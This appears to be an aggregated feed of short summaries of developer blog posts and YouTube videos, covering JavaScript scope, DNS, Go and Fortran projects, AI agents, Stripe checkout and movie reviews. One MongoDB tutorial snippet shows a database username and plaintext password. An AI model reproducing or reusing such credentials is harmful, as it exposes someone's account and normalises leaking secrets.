    Everything Wrong With Thunderbolts* (The New Avengers) in 20 Minutes Or Less takes the usual CinemaSins approach—racking up all the “sins” in Marvel’s latest team-up flick while still admitting it’s pretty fun. Along the way they plug their website, YouTube channels, social feeds, a quick poll, Patreon support, and give shout-outs to the writers plus community hangouts on Discord, Reddit, TikTok and beyond. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Predators – Caravan of Garbage Review Mr Sunday Movies hails Predators (2010) as a much-needed return to form for the franchise, ditching the shine of Alien vs. Predator for a gritty jungle hunt with a rag-tag band of mismatched warriors. It still has the visceral thrills—mud, mayhem and high-stakes survival—but layers on smart twists that make it stand out from its predecessors. He also laments that this fan-favorite never got an actual sequel, and plugs his usual bigsandwich.co extras, extended audio editions, social feeds and merch for anyone who wants more rabbit-hole rabbit punches. Watch on YouTube  ( 6 min )
    Lexical scope in JavaScript
    Recently, a friend asked me, “What is lexical scope? Is it a type of Scope?”:). Great question!. Scope in JS often causes confusion. In this post, let’s discover Scope, Lexical scope in JavaScript Let’s start with scope. Scope determines the accessibility of variables. There are 3 types of scope: Global Function Block Global Scope Variables are declared outside any function or block Can be accessed everywhere in the code Function Scope Variables are declared inside a function Can be accessed only in a function, nested function, and can not be accessed outside of this function Block Scope Variables are declared inside a block (for, if..) (let, const) Can be accessed only in a block scope, can not be accessed outside of this block var doesn’t have block scope (because of hoisting, it will be…  ( 7 min )
    How We Solve Problems (And How Agents Should Too)
    When we tackle any task such as debugging code, answering questions, analysing data, completing workflows, we're essentially problem-solving agents using tools at our disposal: If it's familiar: We recall the steps from our memory or check our knowledge base If it's new: We are googling error messages, scanning Stack Overflow, pinging colleagues on Slack, tailing logs, running diagnostic commands Once we complete a task, one of two things or both happens: We document it - Add it to the wiki, create a runbook, update the knowledge base It lives in our head - We just remember "now I know how to do this" Next time the same task appears: We skip the research phase. We go straight to our documented solution or our memory. It's faster, more confident. Sometimes the old solution doesn't work anym…  ( 10 min )
    It's always DNS
    It is always DNS... Sometimes It might seem as if the DNS, or the "Domain Name System", is highly unreliable. A major AWS outage was traced to an incorrectly set-up DNS entry, and the old hands (and new hands) in the industry all smiled knowingly and said "it's always DNS", even though it was really the DynamoDB global table names, the DNS was working perfectly, and nobody else would have been using that DNS entry directly. The DNS isn't really the cause of many outages and problems - but it is involved in lots of them, and has privacy leaks and performance issues. And this is because it is usually so reliable we use it for literally everything, and use it with an intensity that results in us pouring information into it as well as relying totally on the information we get back. In this p…  ( 16 min )
    Good Intentions Aren’t Enough — Measure!
    Good thoughts and intuition can lead to good results, but only benchmarks lead to great results. Once upon a time, I had the opportunity to build a custom data structure. We needed something like a queue to act as a cache — a rolling buffer with a constant size, always filled with the latest data as the oldest expires. The requirements sounded simple: Single writer, multiple concurrent readers Readers iterate safely while data is being written As little garbage and synchronization overhead as possible Simple, right? Naturally, the first candidates were Java’s built-in structures: Structure Pros Cons ArrayList Simple, contiguous O(n) to remove oldest element LinkedList Fast removals Creates garbage, poor cache locality ArrayDeque Nearly perfect Not thread-safe, fails under con…  ( 8 min )
    Building BearMinder: a tiny macOS menubar app connecting Bear to Beeminder in Swift
    Sometimes the best way to learn a new language is to solve your own problem. I'm primarily a JAMstack developer. I build static sites with Eleventy, Jekyll, and Hugo. But I had a problem: I write daily in Bear and I wanted to automatically track my word counts in Beeminder without manual logging. The catch? Both Bear by Shiny Frog and Beeminder have APIs... but they're not web APIs. They're native APIs. Which meant I needed to learn Swift. So I did. 🧑‍💻 What I learned building Bearminder: The result? The lesson: For me, this was a reminder that good developers aren't defined by their tech stack. We're defined by our willingness to learn whatever solves the problem in front of us. If you're a Bear user who also uses Beeminder (niche, I know), the code's on GitHub: https://github.com/brenn…  ( 11 min )
    From Frustration to Focus: How Taking Notes Changed the Way I Learn Code🧠
    A few years ago, I caught myself watching the same tutorial for the third time. So, I decided to try something simple — taking notes while learning. Today, this habit has become a cornerstone of how I learn and grow as a developer. Here’s what I’ve learned along the way: 🧩 Writing in your own words reveals what you truly understand. Notion — for structured learning databases and linking concepts. In a fast-moving field like software development, the ability to learn efficiently is often more important than knowing everything. How do you approach learning in your development journey?  ( 7 min )
    Why Your CISO Should Be Fired
    Your org still treats security like a nightclub with a bored bouncer. Check the ID, wave them through, hope for the best. Meanwhile, attackers stroll in with backpacks full of malware and long-lived tokens. You call it “zero trust.” I call it negligence. Identity without environment proof is cosplay. If your controls verify who’s asking but not what they’re actually running, you’ve already lost. See the pattern in recent breaches: session cookies and OAuth tokens get lifted, SSO looks “fine,” and the attacker impersonates you all the way to prod. CircleCI’s 2023 postmortem spelled it out: malware stole a 2FA-backed session and the actor escalated into production. That wasn’t a missing TLS flag; it was missing runtime verification and binding of credentials to a measured environment. :late…  ( 8 min )
    How to Export Cost Optimization Hub Report
    AWS Cost Optimization Hub Reporting Automation This solution automates the extraction of AWS Cost Optimization Hub recommendations using AWS Lambda and stores them in Amazon S3 for further analysis and reporting. Architecture AWS Cost Optimization Hub: Source of cost optimization recommendations AWS Lambda: Processing engine for data extraction and transformation Amazon S3: Secure storage for generated CSV reports IAM Roles & Policies: Secure access control and permissions management Prerequisites AWS Account with appropriate permissions Access to AWS Cost Optimization Hub Basic understanding of AWS services (IAM, Lambda, S3) Implementation Steps Create an Amazon S3 bucket to store the generated cost optimization reports. Steps: Navigate to Amazon S3 in AWS Management Con…  ( 9 min )
    From Esolang to Numeric Script: Building Formin in Fortran
    Most programming languages begin with a clear intention. Formin didn’t. It started as a strange little esolang experiment built around an unusual flow-based command syntax, mostly for fun. Over time, though, something unexpected emerged: the structure turned out to be surprisingly good for concise numeric scripts and predictable control flow. That realization turned Formin from an esoteric toy into a small compiled language with a Fortran-based toolchain and a focus on math-heavy scripting. This post walks through the journey, the architecture, and some of the lessons learned while building a compiler and VM in Fortran. Origins: An Esolang With a Weird Syntax create#/greeting|'Hello!'/# color#/bright_green/# spew#/greeting|'World!/# It’s compact, rigid, and easy for an interpreter to read…  ( 7 min )
    Create a Text Editor With Go - Welcome Screen
    You can access the code of this chapter in the Kilo-Go github repository in the welcomescreen branch Currently your file structure should look something like this: Since we will be adding more features to the utils module, it only makes sense if we rename it from exit to utils mv exit utils File: utils/exit.go package utils import ( "fmt" "os" ) // SafeExit is a function that allows us to safely exit the program // // # It will call the provided function and exit with the provided error // if no error is provided, it will exit with 0 // // @param f - The function to call // @param err - The error to exit with func SafeExit(f func(), err error) { if f != nil { f() } if err != nil { fmt.Fprintf(os.Stderr, "Error: %s\r\n", err) os.Exit(1) }…  ( 12 min )
    Alternate reality without open source linux
    OK so I was doing some project and this came into my mind: What if linux made closed sourced instead of open-source? I asked chatgpt the same question, and I thought it's pretty awesome, just take a look chat link. Let me know what do you think? or how much gpt said it was true.  ( 6 min )
    Exploring NoSQL Data Analysis: A Practical Study Using a Kaggle Dataset
    🗂️ Step 1: Setting up MongoDB Atlas Username: 22cs181 Once your cluster is ready, click “Connect → Connect using MongoDB Shell” and copy the connection string. 💻** Step 2: Connect from Mongo Shell** `bash Then enter your password when prompted: Enter password: Sujitha If connection succeeds, you’ll see: Atlas atlas-xxxx-shard-0 [primary]> 📥 Step 3: Create a Database and Insert Records javascript Insert 10 sample business review records: javascript 🔍 Step 4: Queries javascript 🔤 4.2 Count of Reviews Containing “good” javascript 🏪 4.3 Get Reviews for a Specific Business ID javascript ✏️ Step 5: Update and Delete javascript 🗑️ Delete a Record javascript 📤** Step 6: Export Data to JSON/CSV** bash Then run the following from PowerShell (not inside mongosh) 👇 📄 Export as CSV bash 📦 Export as JSON bash 📊** Step 7: View the Exported Files** 🎯** Final Thoughts** Manage cloud-hosted databases Perform CRUD operations Export results in multiple formats This project demonstrates all essential MongoDB operations — perfect for Data Engineering and Database Management learning tasks.  ( 7 min )
    Building a Terminal Calculator That Actually Does Logic: Axion
    I built a calculator that does more than just add numbers. It's a full mathematical computing environment in your terminal with logical operations, comparison operators, unit conversions, and persistent memory. This is an active project - I'm constantly working on it, adding features, fixing bugs, and improving performance. Because most CLI calculators are just arithmetic. They add, subtract, maybe handle some trig functions, and that's it. I wanted something that could handle real computational work: Compare values and return boolean results Chain logical operations with proper precedence Convert between units without leaving the terminal Store variables and reuse them across sessions Handle scientific notation properly Remember your calculation history Basically, a calculator that works …  ( 10 min )
    Boost Productivity in Your BPO with AI Voice Agents
    Boost Productivity in Your BPO with AI Voice Agents Meta description: Deploy human-like AI voice agents to automate routine BPO calls, reduce average handle time (AHT), and scale operations without adding headcount. BPO teams face rising call volumes, tighter SLAs, and pressure to deliver more with the same headcount. Human-like AI voice agents automate repetitive interactions—verification, scheduling, FAQs—so skilled agents focus on high-value conversations. Learn more with the Monobot BPO solution. Manual verification and data gathering slow resolution and inflate costs. Constant hiring and training increase time to productivity and attrition. Long queues and repeat questions hurt customer satisfaction. Voice AI contains routine calls and hands off complex cases to humans with full c…  ( 7 min )
    AI and Visual Sentiment Prediction: Understanding Emotions Beyond Words
    In marketing and design, visuals speak louder than any slogan. A single image can evoke trust, excitement, nostalgia, or even discomfort — emotions that profoundly shape how audiences perceive brands. But what if technology could understand these emotional reactions before a campaign ever goes live? That’s the promise of AI and visual sentiment prediction — a transformative blend of artificial intelligence, psychology, and design analytics that enables marketers to measure and predict emotional responses to visual content. With the rise of AI-powered creative intelligence, brands can now quantify what was once purely intuitive: how colors, compositions, and imagery trigger human emotions. This insight empowers them to design visuals that don’t just attract attention but connect deeply with…  ( 8 min )
    Looking for feedback on something I built for creators
    Hey everyone, I’m Paulo, and I've recently started building my own products. I noticed that every time I wanted to share an idea online, I felt like I had to rewrite it to match the tone of each platform. So I built a small tool called PostIdentity. It is still early, but I am trying to understand if this idea actually helps creators or if it only solves a small personal pain of mine. I would really appreciate any honest feedback. Here are some short demos showing how it works: Post Generation: https://www.youtube.com/watch?v=eOhihIecnrw Extension: https://www.youtube.com/watch?v=zc7UfzwSFw0 MCP Server: https://www.youtube.com/watch?v=lrqwAnX3B_Y Thanks for reading, Paulo  ( 6 min )
    Building Git from Scratch in Go: What I Learned About Version Control Internals
    I didn't understand Git until I broke it open and rebuilt it from scratch. No libraries, no shortcuts - just SHA-256 hashing, tree structures, and commit graphs. TL;DR: I built a Git implementation in Go without using any Git libraries. No magic, just content-addressable storage and the object model. It works, it taught me more about Git in a week than years of using it, and here's what I learned. This wasn't from a single source. I pieced it together from: CodeCrafters - Their "Build Your Own Git" challenge gave me the structure and pushed me to actually implement things Random YouTube videos - Honestly, just searching "how git works internally" and watching whatever came up. Some were helpful, most weren't "Building Git" book - Wasn't really helpful for what I needed, but it did clarify …  ( 10 min )
    Hello DEV Community!
    Hi everyone! I love working with HTML, CSS, and Webflow to create elegant, structured designs that balance usability and aesthetics. #webdesign #frontend #html #css #productivity  ( 6 min )
    Make AI Your Copilot, Not Your Autopilot
    A few weeks ago, my company, QuestionPro, provided a subscription for GitHub Copilot. I hadn't used AI to write code entirely and had never "vibe coded" before. So, I thought I'd experiment with it. TL;DR: I'm not going to vibe code again! Maybe it was my lack of vibe code experience, but I couldn't get it to work very well. I wanted to create a sync manager to sync my local data to the cloud. I'm not a backend engineer, so I described to the AI what I wanted to do. It gave me a detailed PRD (Product requirement document), which I then fed to my agent—in this case, Copilot. It created some files, but they didn't work. I shared the error, it fixed something, and then it failed to work again. After some back and forth, it finally worked (or so I thought). And guess what? It had created four …  ( 11 min )
    AI in Creative Trend Forecasting: Seeing Tomorrow’s Aesthetics Today
    In an age where design trends evolve faster than ever, creativity is no longer just about intuition — it’s about foresight. Brands, artists, and marketers need to anticipate what audiences will love next, not just what they love now. This is where Artificial Intelligence (AI) steps in as a visionary partner, transforming creative forecasting from guesswork into a precise, data-driven science. Creative trend forecasting powered by AI allows creators to spot emerging patterns in design, color, culture, and emotion long before they become mainstream. By analyzing millions of visual, textual, and behavioral data points, AI helps creative teams stay ahead of the curve — crafting campaigns, visuals, and products that resonate with future audiences. Traditional trend forecasting relied heavily on…  ( 8 min )
    From TCP Sockets to Thread Pools - Building a Production Grade Web Framework
    From TCP Sockets to Thread Pools: Building a Production-Grade C++ Web Framework When you type a URL into your browser and hit enter, something magical happens behind the scenes. Within milliseconds, your request travels across the internet, finds the right server, gets processed, and returns with the content you requested. But have you ever wondered what's really happening inside that web server? Building a web server from scratch strips away the magic and reveals the elegant engineering underneath. It's where operating system concepts, network programming, and concurrent computing converge into a single, cohesive system. This is the story of NanoHost - a journey from raw TCP sockets to a production-grade C++ web framework. Every web server begins with a socket - a file descriptor that a…  ( 11 min )
    Web Developer Travis McCracken on The Tools I Use Every Day as a Web Developer
    Exploring Backend Development with Rust and Go: Insights from Web Developer Travis McCracken As a passionate Web Developer specializing in backend technologies, I've spent a significant portion of my career exploring the strengths of languages like Rust and Go for building robust, scalable APIs. These languages are transforming backend development, offering performance, safety, and concurrency features that traditional languages often struggle to match. Today, I want to share my insights on working with Rust and Go, including some of my favorite projects — fictional, but illustrative of the kinds of ideas I love to experiment with. Rust has rapidly gained popularity among backend developers, thanks to its focus on safety and performance. Its memory safety guarantees without a garbage col…  ( 8 min )
    How I Learned IaC Without Losing My Mind 🤯
    Prologue: The Quest for IaC Experience I decided to prepare for an SRE/DevOps internship and learn Infrastructure as Code. The challenge: build a portfolio project demonstrating IaC skills, but without using clouds or paid VPS — student budget is tight, and I don't trust those “free trials” that suddenly turn into bills. I asked AI assistants for advice and got: "Use Vagrant + Ansible + Terraform!" Sounded impressive. In practice… well, let's just say it was an adventure. Installed Vagrant on my CachyOS and added plugins as recommended by Arch Wiki. Created a basic Vagrantfile — what could possibly go wrong? Error #1: The Ghost of Plugins Past undefined method 'exists?' for class File (NoMethodError) path && File.exists?(path) The vagrant-vbguest plugin had been abandoned since …  ( 7 min )
    How AI Can Help Households Reduce Food Waste and Save Money
    As a Software Engineer passionate about digital transformation and AI innovation, I wanted to explore how artificial intelligence can help families make smarter food decisions. This idea became the foundation for “SavvyBite” an AI-driven food budgeting and cooking companion designed to make home management smarter, cheaper, and more sustainable. The Problem: Everyday Waste, Hidden Costs Most people don’t realise how much money they lose due to poor planning. Unused groceries, forgotten leftovers, and impulsive shopping decisions add up. Beyond household budgets, this creates a significant environmental impact through energy and resource waste. That’s where technology, particularly AI and data-driven insights can make a real difference. The Solution: Predictive Food Budgeting SavvyBite’s co…  ( 7 min )
    Stop Coding in Chaos: Why You Need a Pro Dev Environment Now (And How to Set It Up)
    When you start a new project the temptation is to jump right into the "fun" part: writing code. Setting up linting, formatting and testing feels like "admin work" you can do later. This is a trap Fast forward two weeks, your code works but it's a mess. Formatting is inconsistent, you are terrified to refactor anything in case it breaks and adding a new feature feels like you are playing Jenga. You are living in chaos. The best time to set up your proffessional development environment is in the very beginning. A few minutes of setup now, saves you hours of pain later. This post will help you build the essential scaffolding for any pro project. Linting (Finding code problems) Formatting (Making it look consistent) Testing (Making it robust) CI/CD (Automating it all) First, let's stop arguing…  ( 9 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    Tired of endless prompt tweaking? Jeff Su shows four ChatGPT power-moves—Prompt Reversal, the 5-Minute Amplifier, the Red Team critique loop, and Blueprint Scaffolding—that streamline your process and can literally cut your AI workload in half. Each trick comes with real-world examples you can swipe and use immediately. Plus, you get tons of bonus goodies: a free HubSpot ChatGPT ebook, blog post walkthrough, video timestamps for quick jumps, and links to Jeff’s AI course, productivity gear, and more—so no matter your role or industry, you’ve got everything you need to level up your workflow. Watch on YouTube  ( 6 min )
    Leveraging Synthetic Data for Enhanced AI Agent Evaluation
    As AI agents become more sophisticated and deploy across critical business functions, teams face a fundamental challenge: how do you thoroughly evaluate agent performance when real-world data is scarce, expensive, or privacy-constrained? This data scarcity problem becomes especially acute when testing edge cases, rare scenarios, or newly designed features that haven't yet accumulated production data. Synthetic data—artificially generated datasets that preserve the statistical properties and patterns of real data—has emerged as a powerful solution to this evaluation challenge. Research shows that synthetic data has been proven effective across a diverse array of tasks and domains, enabling teams to test AI agents against scenarios that would take months or years to encounter naturally. This…  ( 15 min )
    Building a Secure Stripe Checkout Integration with ASP.NET Core and Webhook Handling
    Intro This demo shows how to integrate Stripe Checkout with ASP.NET Core. We handle the complete payment flow including session creation, webhook processing, and race condition management between client callbacks and server notifications. Why this matters: Stripe webhooks and client callbacks can arrive in any order. Your system needs to handle this race condition safely. This demo shows atomic state transitions and proper webhook verification for production-grade payment processing. (This demo simplifies some production implementations, explained in detail at the end.) The project contains a single ASP.NET Core application running on https://localhost:5001. Folder Structure: stripe-checkout-aspnet-demo/ ├── Controllers/ │ ├── CheckoutController.cs # Creates Stripe sessions │ ├── …  ( 10 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Predators – Caravan of Garbage dives back into the raw thrills of the ’80s classic by dropping a scrappy band of misfits into a muddy jungle playground and pitting them against the ultimate hunters. Unlike its weaker predecessors and the Alien vs. Predator detours, this 2010 reboot adds fresh twists that make the bloodshed feel new again. Despite the roaring fan love (and Mr Sunday Movies’ stamp of approval), we never got a true sequel to build on its momentum. If you’re craving more Predator lore with that gritty jungle vibe, this review is your ticket back to the hunt. Watch on YouTube  ( 6 min )
    The Human Margin
    Generative artificial intelligence has quietly slipped into the fabric of daily existence, transforming everything from how students complete homework to how doctors diagnose chronic illnesses. What began as a technological curiosity has evolved into something far more profound: a fundamental shift in how we access information, create content, and solve problems. Yet this revolution comes with a price. As AI systems become increasingly sophisticated, they're also becoming more invasive, more biased, and more capable of disrupting the economic foundations upon which millions depend. The next twelve months will determine whether this technology becomes humanity's greatest tool or its most troubling challenge. Walk into any secondary school today and you'll witness a transformation that would…  ( 25 min )
    Creating Custom Evaluators to Measure Model Quality
    As AI applications move from prototype to production, teams face a critical challenge: how do you systematically measure whether your AI agent is actually performing well? Generic benchmarks like MMLU or HumanEval provide baseline metrics, but they rarely capture the specific quality criteria that matter for your use case. This is where custom evaluators become essential. Custom evaluators allow teams to quantify performance based on application-specific requirements, moving beyond generic metrics to measure what truly matters for their users. Whether you're building a customer support agent, a code generation system, or a medical diagnosis tool, the ability to create tailored evaluation metrics can be the difference between shipping a reliable product and dealing with production failures.…  ( 13 min )
    Introducing the new Community Dashboard on TailView.work
    We just shipped a brand‑new Community Dashboard on TailView.work—purpose‑built for Rails developers who want a fast, modern, and accessible social surface without pulling in a front‑end megaframework. It’s powered by Tailwind CSS, Hotwire (Turbo + Stimulus), and real‑time updates via ActionCable. Built with Rails 7+, Tailwind, Turbo, Stimulus, and ActionCable Real‑time feed: new posts appear instantly without page refresh Clean, focused UI with native and for accessibility Thoughtful UX: keyboard‑first, high‑contrast states, reduced JS complexity Production‑ready patterns you can copy into your app Rails teams told us they needed: A real‑time, low‑friction place to share what they’re shipping Zero‑build, no‑webpack front‑end they can actually maintain An interface that f…  ( 7 min )
    Preventing AI Project Failures Through Effective Prompt Engineering
    Flawed prompts derail AI projects before they start. Teams burn weeks adjusting prompts without testing frameworks, producing unreliable outputs that erode user confidence. Vague prompts cause AI models to hallucinate or contradict themselves—imagine a support chatbot asking customers to repeat information they already shared. Careless prompt design also opens security holes, allowing attackers to inject malicious commands that hijack the system. This guide covers prompt engineering best practices that prevent these failures and help you extract maximum value from AI models. Well-organized prompts produce reliable AI responses. Breaking your instructions into distinct sections prevents confusion and ensures the model understands exactly what you need. Think of prompt structure as the arc…  ( 9 min )
    Tokens: The Invisible Building Blocks of Large Language Models
    Even though Large Language Models (LLMs) appear to expertly understand and generate language, the truth is, like any other computer technology, they only deal in zeros and ones. So, how can an LLM, which only knows 0s and 1s, engage in such deep conversations with us using language? The first piece of that puzzle lies in what we're talking about today: the 'Token'. In this post, we're going to dive into what tokens—the literal cells of an LLM—actually are, why they are so crucial, and how these small units impact AI performance, cost, and even linguistic fairness. As always, we'll keep the math to a minimum. Let's start by uncovering the identity of the token. Simply put, a token is the basic unit an LLM uses to process text. Still a bit vague? Take the sentence, "I am hungry." If you want…  ( 17 min )
    apimock-rs features: external interfaces and ipv6 support
    Confirmation was finished ✅️ ✅️ Our apimock-rs supports both of: 🚪 Listener to external interfaces (all interfaces) ❄️ IPv6 https://apimokka.github.io/apimock-rs/advanced-topics/listener/index.html It is a developer-friendly, featherlight and functional HTTP(S) mock server built in Rust 🩵  ( 6 min )
    GNSS Fix with RTL-SDR (in Linux!)
    This will probably only serve my terrible memory in a couple of months when I revisit the topic and I have forgotten how I made it work, but I've heard AI guys are running out of training material so... From their ownrepo: GNSS-SDR This program is a software-defined receiver which is able to process (that is, to perform detection, synchronization, demodulation and decoding of the navigation message, computation of observables, and, finally, computation of position fixes) Global Navigation Satellite System's signals LNA GNSS Antenna (in my case this) RTLSDR V3-V4 recommended since they have software enabled Bias Tee Computer running Debian based system (Debian 9, Ubuntu 14.10 or above, in my case Ubuntu 24.04). From the README.md we can just follow along and install: $ sudo apt install bui…  ( 10 min )
    A free and production-ready event sourcing database engine: Meet Genesis DB CE
    Over the past months I've been building Genesis DB, an event-sourcing database engine designed around simplicity, performance, and real-world usability. Recently, I released the Genesis DB Community Edition. Completely free to use. Genesis DB CE is the freely available version of the database engine. Built for developers who want to explore event sourcing without friction, or use it productively in small-to-large projects. The goal isn't to limit you, it's to lower the barrier to entry. The Community Edition focuses on accessibility and learning, not artificial constraints. It's powered by the same core engine as the commercial edition, the same performance, the same reliability, the same expectations for serious developers. Docs: https://docs.genesisdb.io  ( 6 min )
    The Real AI Startup Stack: $33M Valuations, $1.2K OpenAI Bills
    Three weeks of network tracing revealed the truth: 73% of “AI startups” are thin wrappers running million-dollar hype on borrowed APIs. The $33M AI Startup Running on a $1.2K OpenAI Bill” Let’s be honest: half of what’s called “AI innovation” right now is just ChatGPT with a startup hoodie. I’m not saying that to be edgy I literally reverse-engineered 200 “AI startups” over three weeks. I looked at their network calls, tech stacks, and API usage. The results? About 73% of them were just pretty frontends sitting on top of OpenAI or Anthropic, some LangChain magic sprinkled in, and a fancy landing page claiming “proprietary AI.” It’s the new gold rush: everyone’s building “AI platforms,” but under the hood it’s the same OpenAI key, a Firebase DB, and an $89/month Vercel plan. A few even lef…  ( 12 min )
    You've probably noticed it. You're watching a video on YouTube, and the area around the video starts to softly glow, picking up the colors from the content itself.
    Dynamic Theming: A Developer’s Guide to Adaptive Color in UI Mike Vardy ・ Nov 9 #frontend #designsystem #uxdesign #ux  ( 6 min )
    [Boost]
    Reinventing Kubernetes in 2025: a post-mortem of my “simple” stack ・ Nov 5 #webdev #programming #kubernetes #devops  ( 5 min )
    Level Up Your SPA: Advanced Performance Optimization for Beginners
    Level Up Your SPA: Advanced Performance Optimization for Beginners Ever visited a website that felt sluggish and unresponsive? That's the opposite of what we want for our Single Page Applications (SPAs)! While SPAs offer fantastic user experiences with their dynamic interfaces, they can sometimes struggle with performance if not properly optimized. But don't worry, you don't need to be a performance guru to make a real difference. Let's dive into some advanced, yet accessible, optimization techniques. A slow SPA isn't just annoying; it can seriously impact your project's success. Think about it: User Experience: Nobody likes waiting. Slow loading times and laggy interactions lead to frustrated users who are more likely to abandon your app. SEO: Search engines like Google consider pag…  ( 8 min )
    Foundation Models for Scientific Discovery: From Paradigm Enhancement toParadigm Transition
    How AI Foundations Like GPT‑4 Are Changing the Way Science Works Imagine a lab partner that never sleeps, can read millions of papers in seconds, and even suggests fresh experiments. Scientists have discovered that powerful AI tools such as GPT‑4 and AlphaFold are becoming that partner, turning the traditional “think‑then‑test” routine into a faster, smarter adventure. It’s a breakthrough that promises everyday benefits—healthier drugs reaching us sooner and smarter solutions for climate challenges. Stay curious and watch the science of tomorrow unfold today. Read article comprehensive review in Paperium.net: Foundation Models for Scientific Discovery: From Paradigm Enhancement toParadigm Transition 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 22 min )
    Parametric vs Non-Parametric Tests: A Beginner's Guide
    The Big Picture: What Are We Even Testing? When you're analyzing data and want to test hypotheses, you need to choose the right statistical test. But here's the thing: not all tests are created equal, and not all data fits the same mold. This is where the distinction between parametric and non-parametric tests becomes crucial. Think of it as choosing between two different toolkits ie one requires your data to meet certain conditions, the other is more flexible. Keep in mind these central questions: "Does my data follow a specific distribution?" ie This determines which approach you can use. "What assumptions am I willing to make about my data?" ie This is the heart of the parametric vs non-parametric choice. Okay we'll go through parametric tests, then non-parametric then we'll compare t…  ( 9 min )
    Optimizing Automotive Navigation: The Role of Geospatial Data in Fuel Efficiency and Driver Experience
    In an era where every byte of data holds value, it's easy to overlook the foundational importance of highly accurate, up-to-date geospatial data within automotive navigation systems. Beyond simply showing "where to go," modern map data plays a critical, often hidden, role in enhancing fuel efficiency and refining the overall driver experience. For developers building connected car applications, understanding this relationship is key to unlocking true value. Fuel Efficiency: Beyond the Powertrain While engine and aerodynamic design are primary drivers of fuel efficiency, intelligent navigation systems, powered by precise map data, offer significant secondary gains. Predictive Powertrain Control (PPC): Advanced ADAS features use map data to "look ahead" at road gradients, curves, and upcomin…  ( 7 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    Jeff Su reveals four ChatGPT hacks that halve your AI workflow: Prompt Reversal Technique, the 5-Minute Amplifier, Red Team self-critique, and Blueprint Scaffolding. These tricks help you reverse-engineer winning prompts, repurpose a single idea across formats, force ChatGPT to critique its own output, and map its thought process before execution. They’re super-easy to apply in any role or industry—and save you hours of trial and error. Dive into the illustrated examples in his free ebook and blog post to get started fast. Watch on YouTube  ( 6 min )
    SimpSave 10: A “ready-to-use” lightweight database, now supporting multiple engine options (including SQLite).
    How to persist data in Python? import simpsave as ss ss.write('key', [1, 2, 3]) print(ss.read('key1').append(4)) # [1, 2, 3, 4] If the project helps you, please feel free to give it a Star on GitHub :) https://github.com/Water-Run/SimpSave SimpSave is a Python featherweight key-value storage database for Python basic variables, leveraging Python's native powerful data structure support, "read-and-use", extremely easy to get started with, very suitable for use in various small scripts such as student assignments, or as configuration files, etc. SimpSave 10 is a major upgrade, bringing optional engine capabilities: the engine wrapper for sqlite provides it with a usable level in some lightweight production environments (although the functional API has no connection pool mechanism); while fo…  ( 12 min )
    CinemaSins: Everything Wrong With Sinners In 15 Minutes Or Less
    Everything Wrong With Sinners In 15 Minutes Or Less is Cinemasins’ cheeky Halloween video where they gleefully nitpick one of the year’s best genre films in record time—while also plugging their main site, YouTube spin-off channels and a fan poll (plus a Patreon shout-out if you’re feeling generous). The episode credits a dream team of writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel) and points viewers to their Discord, Reddit, Instagram, TikTok and Jeremy’s book through a handy Linktree for even more sinful fun. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    TL;DR CinemaSins just released a snarky 20-minute deep-dive on everything wrong with Thunderbolts—and, of course, they still can’t help but wonder if the flick’s kinda awesome anyway. Expect the usual “sins” countdown with cheeky commentary from Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel. Wanna join the party? Hit up their website, Discord, Reddit and social channels, cast your vote in the “sinful poll,” or toss a few coins their way on Patreon to keep the jokes coming. Watch on YouTube  ( 6 min )
    Python Web Frameworks: Crafting the Future of Web Development
    Python Web Frameworks: Crafting the Future of Web Development Introduction: The Pythonic Revolution in Web Development Python has transcended its origins as a general-purpose programming language to become a cornerstone of modern web development. Its simplicity, readability, and vast ecosystem empower developers to create everything from simple websites to complex, AI-driven web applications. At the heart of this revolution lie Python web frameworks—tools that streamline development, enforce best practices, and accelerate deployment. Why Python for Web Development? Readability & Maintainability: Python’s clean syntax reduces cognitive load, making codebases easier to maintain. Rich Ecosystem: Libraries for AI, data science, and cybersecurity integrate seamlessly with web frameworks. Commun…  ( 8 min )
    ✅ *25 Essential Coding Abbreviations* 💻
    1️⃣ HTML – HyperText Markup Language 2️⃣ CSS – Cascading Style Sheets 3️⃣ JS – JavaScript 4️⃣ API – Application Programming Interface 5️⃣ SDK – Software Development Kit 6️⃣ SQL – Structured Query Language 7️⃣ JSON – JavaScript Object Notation 8️⃣ OOP – Object-Oriented Programming 9️⃣ IDE – Integrated Development Environment 🔟 HTTP – HyperText Transfer Protocol 1️⃣1️⃣ HTTPS – HyperText Transfer Protocol Secure 1️⃣2️⃣ DOM – Document Object Model 1️⃣3️⃣ REST – Representational State Transfer 1️⃣4️⃣ AJAX – Asynchronous JavaScript and XML 1️⃣5️⃣ XML – eXtensible Markup Language 1️⃣6️⃣ TCP/IP – Transmission Control Protocol / Internet Protocol 1️⃣7️⃣ UI – User Interface 1️⃣8️⃣ UX – User Experience 1️⃣9️⃣ CLI – Command Line Interface 2️⃣0️⃣ MVC – Model-View-Controller 2️⃣1️⃣ CRUD – Create, Read, Update, Delete 2️⃣2️⃣ JSON – JavaScript Object Notation 2️⃣3️⃣ SQL – Structured Query Language 2️⃣4️⃣ FTP – File Transfer Protocol 2️⃣5️⃣ VPN – Virtual Private Network 💬 Tap ❤️ for more!  ( 6 min )
    🚀 Building a Job Search Agent with Mastra, Google Gemini, and A2A Protocol
    AI agents are transforming intelligent automation, and Mastra is leading the way. In this post, I’ll show how I built the Findwork Agent — an AI that fetches real job listings and interacts naturally with users. What Mastra is and how it works Setting up your Google API key (via AI Studio) Understanding the A2A Protocol and multi-agent interaction Creating and deploying your agent to Mastra Cloud Integrating your agent with Telex 🧠 What Is Mastra? Mastra is an open-source framework for building intelligent AI agents that can reason, use external APIs, and communicate with others via the A2A protocol. Check out the documentation to learn more about Mastra and installation. A name Instructions (its role and tone) Tools (functions or APIs it can call) And an execution …  ( 12 min )
    🎯 Scenario #10 — Use kubectl diff to Preview Changes Before Applying in Kubernetes
